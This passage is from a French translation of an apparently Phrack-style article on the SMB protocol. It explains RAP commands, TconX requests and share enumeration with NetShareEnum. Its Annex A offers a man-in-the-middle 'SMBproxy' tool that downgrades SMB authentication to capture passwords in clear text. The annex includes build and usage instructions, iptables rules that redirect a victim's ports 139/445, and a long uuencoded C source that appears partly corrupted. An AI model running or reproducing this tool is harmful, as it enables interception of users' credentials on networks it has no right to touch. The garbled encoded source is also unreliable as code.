de l'en-tête) des datas USHORT DataDisplacement; Déplacement de ces octets de data UCHAR SetupCount; Nombre de words de setup UCHAR Reserved2; Reservé(Bourrage jusqu'a un SHORT ou un LONG) USHORT Setup[SetupWordCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Nombre des octets de data UCHAR Pad[]; Bourrage jusqu'a un SHORT ou un LONG UCHAR Octets de paramètre (# = ParameterCount) Parameters[ParameterCount]; UCHAR Pad1[]; Bourrage jusqu'a un SHORT ou un LONG UCHAR Data[DataCount]; Octets de data (# = DataCount) Le client doit utiliser “ParameterOffset” et « DataOffset » pour connaître l’offset (provenant du commencement de l’en-tête de la base SMB) des octets data et paramatres. -----[ 7.2 Commandes RAP RAP (Remote Administration Protocol) est l’implémentation SMB de RPC. Requete RAP : |-------------------------------------| |EN-TETE TCP | |-------------------------------------| |EN-TETE NETBIOS | |-------------------------------------| |EN-TETE DE BASE SMB | |-------------------------------------| |EN-TETE DE REQUETE DE TRANSACTION SMB| |-------------------------------------| |DEMANDE DE PARAMETRES RAP | |-------------------------------------| |DEMANDE DE DATA RAP | |-------------------------------------| réponse RAP : |-------------------------------------| |EN-TETE TCP | |-------------------------------------| |EN-TETE TCP | |-------------------------------------| |EN-TETE DE BASE SMB | |-------------------------------------| |EN-TETE DE REPONSE DE TRANSACTION SMB| |-------------------------------------| |REPONSE DE PARAMETRES RAP | |-------------------------------------| |REPONSE DE DATA RAP | |------------------------------------------------------| Lorsque vous utilisez une commande RAP vous trouverez toujours le format « \PIPE\LANMAN » dans le champ « Name » dans l’en-tete de transaction (requete et réponse). Il y a quelques exemples de commandes RAP - NETSHAREENUM : Recherchez des information sur chacune des ressource partager sur un serveur. NETSERVERENUM2 : Liste tout les ordinateurs d’un type spécifié dans un domaine spécifié. NETSERVERGETINFO : Obtenir des informations sur un serveur spécifié. NETSHAREGETINFO : Recherchez des informations sur une ressource partager particuliere. NETWKSTAUSERLOGON : Executé sur un serveur SMB pour loguer un utilisateur. NETWSTAUSERLOGOFF : La meme chose, mais pour se déloguer. NETUSERGETINFO : Obtenir des informations sur une station particuliere. SAMOEMCHANGEPASSWORD : Pour changer le password d’un utilisateur spécifier sur un serveur distant SMB. Je ne suis pas partis pour décrire toutes ces commandes,je voulais juste en donner une pour l’exemple (pour avoir un listing des ressource partagées disponible sur un serveur) Si vous voulez en savoir plus sur les commandes RAP lisez le [2] ----[ 8 - Utiliser les commandes RAP pour lister les partages disponibles sur un serveur Cette partie est un complément du chapitre précédent. Je vais expliquer comment les commande RAP fonctionne en donnant un exemple. Le programme fournit dans l’annexe B est l’implémentation de ce qui est expliqué dans ce chapitre. Il fait la meme chose que la commande « net view \\ServerIP » (pour DOS) ou « smbclient -L ServerIP -N » (pour linux) Mais ce programme vous autorise a spécifier le nom NETBIOS, c’est un peu plus anonyme.Si vous lisez la source du programme vous apprendrez beaucoup de choses à propos de la programmation reseau SMB. Comment puis-je retrouver chaque partage SMB sur un réseau: Ce procédé est facile a comprendre. Le client doit être anthentifié sur le serveur. Le client s’identifie lui même grace au processus developpé dans le chapitre 3 (sans password). Quand le serveur a vérifié l’identité du client, ce dernier envoie une requete Tconx (apres le SestupX). Tconx signifie « Tree CONnect and X » La demande de paquet Tconx est utilisé pour acceder a une resource partagée. ----[ 8.1 - Paquets Tconx en-tete de la requete Les paquets Tconx sont posés sur l’en-tete de la base SMB. («command » = 0x75) UCHAR WordCount; Nombre de words en paramètes = 4 UCHAR AndXCommand; Commande (X) secondaire; 0xFF = rien UCHAR AndXReserved; Réserver (doit etre a 0) USHORT AndXOffset; Offset pour la prochaine commande WordCount USHORT Flags; Information additionel USHORT PasswordLength; Longueur du password[] USHORT ByteCount; conte des octets data; min = 3 UCHAR Password[]; Password STRING Path[]; Nom du serveur et de la ressource STRING Service[]; Nom du service Le password a était envoyé durant l’etablissement de session. La longueur du password est mise à 1 et la chaine de password contient une valeur nulle, a savoir 0x00. La chaine « Path » contient la nom de la ressource a laquel le client desire se connecter. J’utilise le style de syntax UNICODE. Par exemple, je souhaite me connecter sur une ressource se nommant « myshare » sur un serveur se nommant « myserver ». La chaine Path va contenit « \\myserver\myshare ». La chaine « service » contient le type de ressouce demandé : Chaine de caracteres Type de ressources "A:" disque partager. "LPT1:" imprimante. "IPC" pipe nommé. "COMM" périphérique de communication. "?????" type quelconque de périphérique Pour scanner plusieurs types de dispositifs vous devez utilisez la chaine de caracteres « ????? » dans le champ « service » Apres, il faut envoyez votre requete Tconx au serveur. Celui ci répond avec une réponse TconX. Vous devez retrouvez le champ « Tid » (dans l’en-tete de la base SMB) qui est la demande de transaction avec la commande RAP. Vous devez spécifier au serveur ce que vous voulez savoir qu’elle ressources sont disponible. Pour cela, vous devez utiliser la commande RAP « NETSHAREENUM ». ----[ 8.2 - Explication de la commande RAP "NetshareEnum" La commande RAP que nous allons étudier est la commande « NetShareEnum » La commande RAP « NetShareEnum » demande : Le champ « parameters » de l’en-tete de demande de transaction reçoit : Le code 16 bit de fonction NetShareEnum : 0 ; La chaine de description de parametres : « WrLeh » La chaine de description de data pour les data retourné : « B13BWZ » 16 bit intégrer avec une veleur de x01 ; 16 bit intégrer contenant la taille du buffer de reception. Il serait trop long d’expliquer comment les chaines de parametres et de description des datas fonctionnent. Ces chaines sont utilisées pour savoir la taille et le format des paramètres et des datas. Un parametre, et une chaine de description de datas sont définit pour chaque commande rap Si vous voulez en savoir plus a propos de ces chaines, lisez le [2] Aucun datas n’ont eu besoin d’etre employés pour cette requete, donc les champs « DataCount » et « TotalDataCount » sont égals a zéro. |--------------------------------------------| | En-tete NETBIOS |---------> 4 octets |--------------------------------------------| | En-tete de la base SMB |---------> 32 octets |--------------------------------------------| | En-tete de requete de transaction SMB | |--------------------------------------------| Dans la demande de transaction = la champ « parametres » reçoit les parametres pour la demande RAP |--------------| | 0x0000 | ----------------------------------------> A |--------------|--------------|--------------| | W r | L e | h 0x00|-----------> B |--------------|--------------|--------------|-------| | B 1 | 3 B | W Z | 0x00 |---> C |--------------|--------------|--------------|-------| | 0x0001 | 0xffff |--------------------------> D |--------------|--------------| A : Le code de fonction NetshareEmun: 0x00 B : La chaine de parametre descripteur C : La chaine de data descripteur D : 0x01 (valeur définit) et 0xffff (Taille maximum du buffer de réception) Et le serveur répond : Le champ « parameters » de l’en-tete de la réponse de transaction reçoit : Un mot 16 bit intégré contenant le code de status retourné : Succès 0 Accès refusé 5 Accès refuser au réseaux 65 Plus de data 234 Serveur non démarrer 2114 Mauvaise configuration de la transaction 2141 Un « converted word » de 146 bit utilisé pour calculer un offset pour remarquer les chaines. 16 bit contenant le nombre d’entré retourné = nombre de la structure SHARE_INFO (voir plus haut). 16 bit representant le nombre d’entrées disponibles. Le champ « data » de l’en-tete de réponse de transaction contient plusieurs structures SHARE_INFO. La structure SHARE_INFO contient l’information sur chaque ressource partagée disponible et c’est défini comme cela : struct SHARE_INFO { char shi1_netname[13]; /*Nom de la ressource*/ char shi1_pad; /*Pad to a word*/ unsigned short shi1_type; /*Code spécifiant le type de la resource partager : 0 Disk Directory tree 1 Impression en attente 2 Périphérique de communication 3 IPC*/ char *shi1_remark; /*remarque sur la resource spécifiée */ } sh1_remark est un indicateur 32 bits a une chaine. Cette derniere contient une remarque sur les ressource partagées. Vous devez soustraire les 16 premier bits de « shi1_remark » a « converter word » pour connaître l’offset entre cette chaine et le commencement de l’en-tete des paramètres de réponse RAP. Avec un shéma ASCII |------------------------------------------| | EN-TETE NETBIOS |------------> 4 bytes |------------------------------------------| | EN-TETE DE LA BASE SMB |------------> 32 Bytes |------------------------------------------| | EN-TETE DE REPONSE DE TRANS SMB | |------------------------------------------| Description de la section « parameters » du paquet de la transaction de réponse (correspond aux paramètres de la réponse NetShareEnum) : |--------------------------------------------| | status code |-------------> 2 octets |--------------------------------------------| | converted word |-------------> 2 octets |--------------------------------------------| | nombre d’entré retourné |-------------> 2 octets |--------------------------------------------| | nombre d’entré disponible |-------------> 2 octets |--------------------------------------------| La section Data la réponse de transaction (correspond a plusieurs structures SHARE_INFO si il y a plus d’une ressource disponible) : |--------------------------------------------| | shi1_netname |-----------> 13 octets |--------------------------------------------| | shi1_pad to pad to word |-----------> 1 octets |--------------------------------------------| | type de service |-----------> 2 octets |--------------------------------------------| | indicateur pour remarquer la chaine |-----------> 4 octets |--------------------------------------------| Une autre structure SHARE_INFO |--------------------------------------------| | remarque chaine 1 | |--------------------------------------------| | autre remarque de chaine | |--------------------------------------------| --[ 9 - Conclusion : J’espere que vous avez apprit plein de chose dans cet article ;) Si vous avez des commentaires, des questions, n’hésitez pas : ledin@encephalon-zero.com --[ 10 - References "A common Internet File System (CIFS/1.0) Protocol Preliminary Draft", Paul J.Leach and Dilip C. Naik http://www.snia.org/tech_activities/CIFS/CIFS-TR-1p00_FINAL.pdf [2] "CIFS Remote Administration Protocol Preliminary Draft" Paul J.Leach and Dilip C. Naik http://us6.samba.org/samba/ftp/specs/cifsrap2.txt [3] RFC 1001 http://www.faqs.org/rfcs/rfc1001.html [4] RFC 1002 http://www.faqs.org/rfcs/rfc1002.html --[ 11 - Remerciement Joyeux noël a TearDrop, Frealek et “el Tonio” (NDT: Noël était proche lorsque l’article a était produit) Un gros remerciement à Teardrop.. Sans lui rien n’aurait était possible ! Jetez un oeuil sur , vous y trouverez un tres bon (et surtout gratuit) scanner ! Merci a Mr. D (mon administrateur réseaux !) pour tout ces conseils et ses quelques distributions linux Remerciement au chemical brothers pour leur inspiration musical. Merci au staff de phrack, pour toute leur remarques et particulierement pour l’attaque avec le proxy transparent. Et enfin, merci a vous, pour avoir lu cette article ;) --[ Annexe A Ce programme vous autorise a avoir un password en clair directement du réseau lorsque ceux-ci sont censer etre encryptés. Il fonctionne avec libnet (v 1.1 !) et libcap. C’est l’emplémentation de l’attaque par proxy transparent, du chapitre 6.6. libnet : www.packetfactory.net libpcap : www.tcpdump.org Vous devez etre root pour le compiler, vous pouvez utiliser : "gcc SMBproxy.c -o SMBproxy -lnet -lpcap" Si vous voulez l’utiliser : "SMBproxy -i interface -c adresse IP du client -s adresse IP du serveur -f votre fausse IP (ce que vous voulez : 6.6.6.6 par exemple)" -l port d’écoute (1139 par défault) Soyez prudent le programme va vous demander des spécifications sur le support windows 2k/XP. Mais vous devez répondre « y » lorsque NBT est désactivé, pas quand il est activé sur windows 2k/XP. Vous donnez l’adresse IP du client et du serveur, ce programme attend une connection du client su serveur SMBserver, lance l’attaque, retrouve la password, et redirige le traffic. Le faux paarmètre IP correpond a votre fausse IP, donnez ce que vous voulez ! La machine attaquante ne devrait pas avoir de connections active avec le serveur ou avec le client (comme FTP ou telnet..) Le port d'écoute par défaut est 1139. Ce programme donne le password et le nom d’utilisateur (si nécessaire). Il donne aussi le niveau de sécurité (partage ou utilisateur). Si la connection est reussi, il donne le nom de la ressource et un message comme « password valid ». Si sa échoue, il ne donne rien( juste le password et le nom d’utilisateur) Ce programme devrait etre compiler sur linux pour des raisons techniques, comme l'ordonnencement des bits reseau. Vous ne devriez pas l’utiliser sur l’interface loopback. Spécification sur support Windows2k/XP. C’est la commande iptables/NET a executer sur la machine attaquante. Pour rediriger le traffic entrant du port 139 sur le port 1139 #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 est l’adresse IP du client. Pour rediriger le traffic entier #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Pour rediriger le traffic entier du port 445 sur le port 1139 (pour le client windows 2k/XP avec NET disabled) #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 445 -j REDIRECT --to-port 1139 192.168.1.3 est l’adresse IP du client. Si vous souhaitez realiser l’ataque downgrade du chapitre 6.8, remplacez le port 1139 par un port fermé. Soyez prudent pour la redirection de traffic,cette ligne doit etre présente dans /etc/sysconfig/network : FORWARD_IPV4=true Ce programme ne suporte pas les chaines UNICODE. Tester avec succes avec samba server 2.0 begin 600 smb_MiM_proxy.c M+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@("`@ M("`@(%--0B!-04X@24X@5$A%($U)1$1,12!!5%1!0TL-"B`@("`@("`@("`@ M("`@("`@("`@("`@("`@("!#;V1E9"!B>2!L961I;@T*("`@("`@("`@("`@ M("`@("`@("`@("!L961I;D!E;F-E<&AA;&]N+7IE2`A M#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B-I;F-L=61E(#QS=&1I M;RYH/@T*(VEN8VQU9&4@/'-T7,O=V%I="YH/@T* M(VEN8VQU9&4@/'-Y7,O7!E9&5F('-TPT*('5?:6YT.%]T(%1Y<&4["0DO M*G1Y<&4J+PD-"B!U7VEN=#A?="!&;&%G$9&+"=334(G M*B\-"B!U7VEN=#A?="!#;VUM86YD.PDO*D-O;6UA;F0@0V]D92HO#0H@=6YI M;VX@#0H@>PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@17)R;W)#;&%S MPT*("!U7VEN=#A? M="!0861;,3)=.PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@4&ED2&EG M:%LR73L)+RI(:6=H(%!A'1R83L-"B!U M7VEN=#A?="!4:61;,ET["2\J5')E92!)9&5N=&EF:65R*B\-"B!U7VEN=#A? M="!0:61;,ET["2\J0V%L;&5R)W,@<')O8V5SPT*('5?:6YT.%]T(%=O"!T6EN M9R!T:&ES('-E7-T96U4:6UE M3&]W6S1=.PDO*E-Y7-T96U4:6UE2&EG:%LT73L)+RI3>7-T96T@*%540RD@ M=&EM92!O9B!T:&4@4QE;F=T:#L)+RI,96YG=&@@;V8@ M96YC71E4AD2`H6"D@8V]M;6%N9"PP M>$9&(#T@;F]N92HO#0H@=5]I;G0X7W0@06YD6%)E&EM=6X@8G5F M9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>$UP>$-O=6YT6S)=.PDO*F%C='5A M;"!M87AI;75N(&UU;'1I<&QE>&5D(')E<75E71E0V]U;G1; M,ET["2\J0V]U;G0@;V8@9&%T82!B>71E7!T*'5?8VAA2AC;VYS="!U;G-I9VYE9"!C:&%R("HL=6YS:6=N960@8VAA MF4@;V8@25`@861R97-S*B\-"B`@("`@("`@("`@("`@("`@ M("`@("`@($%24$]07U)%4$Q9+`T*("`@("`@("`@("`@("`@("`@("`@("`@ M16YE=$-L:65N="PO*F-L:65N="=S($U!0R!A9')E2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E7!E*B\-"@D)"0D@;"D[ M#0H-"@T*+RI7PT*(&QI8FYE=%]T("IL.PT*(&QI8FYE=%]P=&%G M7W0@5&%G.PT*(&-H87(@17)R0G5F6TQ)0DY%5%]%4E)"549?4TE:15T[#0H- M"B!S=')U8W0@<&-A<%]P:W1H9'(@2&5A9&5R.PT*#0H@=5]I;G0S,E]T($%R M<%-R8SL-"B!U7VEN=#,R7W0@07)P1'-T.PT*#0H@S!X M,"PP>#`L,'@P+#!X,"PP>#`L,'@P?3L@#0H@#0H@=5]C:&%R($)R;V%D8V%S M=%M%5$A?04Q%3ET@/2![,'AF9BPP>&9F+#!X9F8L,'AF9BPP>&9F+#!X9F9] M.PT*#0HO*DQI8FYE="!I;FET:6%L:7IA=&EO;BHO#0H-"B!L(#T@;&EB;F5T M7VEN:70H3$E"3D547TQ)3DLL1&5V:6-E+$5R2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E M7!E*B\- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(&PI.PT*#0H-"B\J M5W)I=&4@=&AE(%!A8VME="!W:7)E*B\-"@T*(&QI8FYE=%]WPT*("!086-K970@/2`H M=5]C:&%R("HI('!C87!?;F5X="A$97-CF5O M9BAU7VEN=#,R7W0I*3L-"B`@("!M96UC<'DH)D%R<$1S="P@*'5?:6YT,S)? M="`J*2`H07)P2&1R+3YAPT*#0H@("`@(&UE;6-P M>2@H=5]C:&%R("HI("A%;F5T1'-T*2P-"B`@("`@("`@("`@("AU7V-H87(@ M*BD@*$%R<$AD7)I9VAT("A#*2!!;F1R97<@5')I9&=E;&P@,3DY,BTQ M.3DX#0H@("!-;V1I9FEE9"!B>2!*97)E;7D@06QL:7-O;B`Q.3DU+@T*("`@ M#0H@("!4:&ES('!R;V=R86T@:7,@9G)E92!S;V9T=V%R93L@>6]U(&-A;B!R M961I0T*("`@:70@=6YD97(@=&AE M('1E6]U2!L871E71E(")C7!T*'5C:&%R("IP87-S=V0L('5C:&%R("IC."P@=6-H87(@*G`R-"D-"GL- M"B!U8VAAPT*('5C:&%R('`R,5LR,5T[#0H@#0H@#0H@#0H);65M2!O9@T*("`@34520TA!3E1!0DE,2519(&]R($9) M5$Y%4U,@1D]2($$@4$%25$E#54Q!4B!055)03U-%+B`@4V5E('1H90T*("`@ M1TY5($=E;F5R86P@4'5B;&EC($QI8V5N2!O9B!T M:&4@1TY5($=E;F5R86P@4'5B;&EC($QI8V5N6]U(&%R92!C;VYC M97)N960-"B`@(&%B;W5T('1H92!A<'!L:6-A8FEL:71Y(&]F($E405(@6]U#0H@("!S:&]U;&0@8V]N M9FER;2!I="!F;W(@>6]US4X+"`U M,"P@-#(L(#,T+"`R-BP@,3@L(#$P+"`@,BP-"@D)"38P+"`U,BP@-#0L(#,V M+"`R."P@,C`L(#$R+"`@-"P-"@D)"38R+"`U-"P@-#8L(#,X+"`S,"P@,C(L M(#$T+"`@-BP-"@D)"38T+"`U-BP@-#@L(#0P+"`S,BP@,C0L(#$V+"`@."P- M"@D)"34W+"`T.2P@-#$L(#,S+"`R-2P@,3R`@("`@(#$V+"`@-RP@,C`L(#(Q+`T*("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@,CDL(#$R+"`R."P@,3S$L M(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#%] M.PT*#0IS=&%T:6,@=6-H87(@%LX75LT75LQ-ET@/2![#0I[>S$T+"`@ M-"P@,3,L("`Q+"`@,BP@,34L(#$Q+"`@."P@(#,L(#$P+"`@-BP@,3(L("`U M+"`@.2P@(#`L("`W?2P-"B![,"P@,34L("`W+"`@-"P@,30L("`R+"`Q,RP@ M(#$L(#$P+"`@-BP@,3(L(#$Q+"`@.2P@(#4L("`S+"`@.'TL#0H@>S0L("`Q M+"`Q-"P@(#@L(#$S+"`@-BP@(#(L(#$Q+"`Q-2P@,3(L("`Y+"`@-RP@(#,L M(#$P+"`@-2P@(#!]+`T*('LQ-2P@,3(L("`X+"`@,BP@(#0L("`Y+"`@,2P@ M(#S$U M+"`@,2P@(#@L(#$T+"`@-BP@,3$L("`S+"`@-"P@(#DL("`W+"`@,BP@,3,L M(#$R+"`@,"P@(#4L(#$P?2P-"B![,RP@,3,L("`T+"`@-RP@,34L("`R+"`@ M."P@,30L(#$R+"`@,"P@(#$L(#$P+"`@-BP@(#DL(#$Q+"`@-7TL#0H@>S`L M(#$T+"`@-RP@,3$L(#$P+"`@-"P@,3,L("`Q+"`@-2P@(#@L(#$R+"`@-BP@ M(#DL("`S+"`@,BP@,35]+`T*('LQ,RP@(#@L(#$P+"`@,2P@(#,L(#$U+"`@ M-"P@(#(L(#$Q+"`@-BP@(#S$P+"`@,"P@(#DL(#$T+"`@-BP@(#,L(#$U+"`@-2P@(#$L(#$S+"`Q,BP@ M(#S$L(#$P+"`Q,RP@(#`L("`V+"`@ M.2P@(#@L("`W+"`@-"P@,34L(#$T+"`@,RP@,3$L("`U+"`@,BP@,3)]?2P- M"@T*>WLW+"`Q,RP@,30L("`S+"`@,"P@(#8L("`Y+"`Q,"P@(#$L("`R+"`@ M."P@(#4L(#$Q+"`Q,BP@(#0L(#$U?2P-"B![,3,L("`X+"`Q,2P@(#4L("`V M+"`Q-2P@(#`L("`S+"`@-"P@(#S,L(#$U+"`@,"P@(#8L(#$P M+"`@,2P@,3,L("`X+"`@.2P@(#0L("`U+"`Q,2P@,3(L("`W+"`@,BP@,31] M?2P-"@T*>WLR+"`Q,BP@(#0L("`Q+"`@-RP@,3`L(#$Q+"`@-BP@(#@L("`U M+"`@,RP@,34L(#$S+"`@,"P@,30L("`Y?2P-"B![,30L(#$Q+"`@,BP@,3(L M("`T+"`@-RP@,3,L("`Q+"`@-2P@(#`L(#$U+"`Q,"P@(#,L("`Y+"`@."P@ M(#9]+`T*('LT+"`@,BP@(#$L(#$Q+"`Q,"P@,3,L("`W+"`@."P@,34L("`Y M+"`Q,BP@(#4L("`V+"`@,RP@(#`L(#$T?2P-"B![,3$L("`X+"`Q,BP@(#WLQ,BP@(#$L(#$P+"`Q-2P@(#DL("`R+"`@-BP@(#@L("`P M+"`Q,RP@(#,L("`T+"`Q-"P@(#S$P+"`Q-2P@(#0L M("`R+"`@-RP@,3(L("`Y+"`@-2P@(#8L("`Q+"`Q,RP@,30L("`P+"`Q,2P@ M(#,L("`X?2P-"B![.2P@,30L(#$U+"`@-2P@(#(L("`X+"`Q,BP@(#,L("`W M+"`@,"P@(#0L(#$P+"`@,2P@,3,L(#$Q+"`@-GTL#0H@>S0L("`S+"`@,BP@ M,3(L("`Y+"`@-2P@,34L(#$P+"`Q,2P@,30L("`Q+"`@-RP@(#8L("`P+"`@ M."P@,3-]?2P-"@T*>WLT+"`Q,2P@(#(L(#$T+"`Q-2P@(#`L("`X+"`Q,RP@ M(#,L(#$R+"`@.2P@(#S$S+"`@,BP@(#@L("`T+"`@-BP@,34L(#$Q+"`@ M,2P@,3`L("`Y+"`@,RP@,30L("`U+"`@,"P@,3(L("`W?2P-"B![,2P@,34L M(#$S+"`@."P@,3`L("`S+"`@-RP@(#0L(#$R+"`@-2P@(#8L(#$Q+"`@,"P@ M,30L("`Y+"`@,GTL#0H@>S&]R*&-H87(@*F]U="P@8VAA(&EN,EMI73L-"GT-"@T*2P@<&5R;3$L M(#4V*3L-"@T*"69OPT*"0EL6VI=(#T@<&0Q6VI=.PT*"0ER M6VI=(#T@<&0Q6VHK,S)=.PT*"7T-"@T*"69O%MJ75MM75MN72`F M(`T*"0D)"0D)*#$\/"@S+6LI*2D_,3HP.R`-"@D)?0T*#0H)"69OPT*"0EK97E;:5T@/2`H:V5Y6VE=/#PQ*3L-"@E] M#0I]#0H-"@T*2AK97DL M(&ME>3(I.PT*#0H)9F]R("AI/3`[:3PV-#MI*RLI('L-"@D):6YB6VE=(#T@ M*&EN6VDO.%T@)B`H,3P\*#S!X-&(L(#!X M-#PT*(&QI8FYE=%]T("IL.PT*('-T2!T:&4@;F5G<')O="!R97!L>2HO#0H-"G9O:60@3F5G4')O=%)E<&QY M*'5?8VAA7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`@("`@:6YT("I396-U2D-"GL-"B!.8G1397-S:6]N2&1R("I.8G1397-S:6]N.PT*(`T*(%-M8D)A M3L-"@T*+RI&;W(@=&AE(&1O;6%I;B!N86UE*B\-"@T*('5? M8VAA2T^4V5C=7)I='E-;V1E*2`F(#$[#0H-"B!I M9BA396-U2D-"B![#0H@('!R:6YT9B@B7&Y571E M0V]U;G1;,%TM#0H@("`@("`@("`@("`@("`@("`@($5.0U]+15E?3$5.1U1( M.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@#0H@("`@("`@("`@("`@ M("AM86QL;V,H1&]M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[ M#0H-"B`O*D-O<'D@=&AE($1O;6%I;B!N86UE(&EN(&$@2A$;VUA:6Y.86UE+`T*("`@("`@("`H=5]C:&%R("HI(`T*("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("!S:7IE;V8H4VUB0F%S94AD4ADF5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K M#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6).96=0F5O9BA3;6).96=02T^0GET M94-O=6YT6S!=(#T@1&]M86EN3F%M94QE;F=T:#L-"@T*+RI4;R!M;V1I9GD@ M=&AE('-E8W5R:71Y(&UO9&4@8GET92!A;F0@=&AE(&5N8W)Y<'1I;VX@:V5Y M(&QE;F=T:"HO#0H@#0H@4VUB3F5G4')O=%)E<&QY+3Y396-U4UO9&4@ M/2`P>#`Q.PT*(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T M:"`](#!X,#`[#0H-"B!.8G1397-S:6]N+3Y,96YG=&@@/2!H=&]NF5O9BA3;6).96=02P-"B`@("`@ M("`@("`@("`@("`@("`@:6YT(%-E8W5R:71Y*0T*>PT*($YB=%-E7!T961087-S=V]R9%M%3D-?4$%34U=/4D1?3$5.1U1(73L- M"B!I;G0@5&5M<%-I>F4[#0H@=5]C:&%R(%!AF5O9BA. M8G1397-S:6]N2&1R*2D[#0H)"0T*(%-M8E-E='5P6%)E<75EF5O9BA3;6)"87-E M2&1R*2D[#0H-"B!M96US970H4&%S2A087-S=V]R9"P-"B`@("`@("`@("AU7V-H87(@*BD@#0H@("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@ M("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@("`@ M4VUB4V5T=7!84F5Q=65S="T^0V%S94EN2!L979E;"P@=V4@9&]N)W0@<')I;G0@=&AE#0H@("H@=7-EPT*("!P7!T*%!AF4@/2`H4VUB4V5T M=7!84F5Q=65S="T^0GET94-O=6YT6S!=("T-"B`@("`@("`@("`@("!3;6)3 M971U<%A297%U97-T+3Y#87-E26YS96YS:71I=F5087-S=V]R9$QE;F=T:%LP M72D[#0H@("`@("`-"B!496UP(#T@;6%L;&]C*%1E;7!3:7IE*G-I>F5O9BAU M7V-H87(I*3L-"@T*(&UE;6-P>2@H=5]C:&%R("HI*"!496UP*2P@#0H@("`@ M("`@("AU7V-H87(@*BD@#0H@("`@("`@("A086-K970@*R`-"B`@("`@("`@ M('-I>F5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("!S:7IE;V8H4VUB M0F%S94ADF5O9BA3;6)3971U<%A297%U97-T M2&1R*2`K#0H@("`@("`@("!3;6)3971U<%A297%U97-T+3Y#87-E26YS96YS M:71I=F5087-S=V]R9$QE;F=T:%LP72DL#0H@("`@("`@("!496UP4VEZ92D[ M#0H-"B!M96UC<'DH*'5?8VAAF5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("`@ M("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@ M("!%;F-R>7!T961087-S=V]R9"P-"B`@("`@("`@($5.0U]005-35T]21%], M14Y'5$@I.PT*#0H@;65M8W!Y*"AU7V-H87(@*BD@*%!A8VME="`K(`T*("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF4I M.PT*("`@("`@#0H@4VUB4V5T=7!84F5Q=65S="T^0GET94-O=6YT6S!=(#T@ M5&5M<%-I>F4@*R`-"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M("!%3D-?4$%34U=/4D1?3$5.1U1(.PT*("`@("`@#0H-"B!3;6)3971U<%A2 M97%U97-T+3Y#87-E4V5N#`P M.PT*#0H@4VUB4V5T=7!84F5Q=65S="T^0V%S94EN5M%3D-?2T597TQ%3D=42%T[#0H@#0H@=5]C:&%R M(%!A8VME=%M)4%]-05A?4TE:15T[#0H-"B!.8G1397-S:6]N2&1R($YB=%-E M'DL4&%C:V5T*3L-"B`- M"B\J*BHJ*BHJ*BHJ*DY%1U!23U0@4D5154535"HJ*BHJ*BHJ*BHJ*B\-"@T* M(%)E860H4V]C:U!R;WAY+%!A8VME="D[#0H@(`T*#0H@5W)I=&4H4V]C:U-M M8E-E2@-"B`@("`@("`@("`@("`@4&%C:V5T+`T* M("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`F M4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY+%!A8VME="D[#0H-"B\J M*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ*BHJ*BHJ*B\-"B`-"B!2 M96%D*%-O8VM02Q086-K970I.PT*("`-"B!3971U<%A297%U97-T*`T* M("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R:71Y*3L-"B`@#0H@5W)I M=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U M('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/3D),3T-+*3L-"B`@9F-N M=&PH4V]C:U-M8E-E'DL)DYB=%-E MPT*("`@('!R:6YT9B@B7&Y397-S:6]N(&9I;FES:&5D("%<;B(I M.PT*("`@(&-L;W-E*%-O8VM02D[#0H@("`@8VQOR`-"B`@("!M96US970H4&%C:V5T+#`L M25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P>2A086-K970L*'5?8VAA 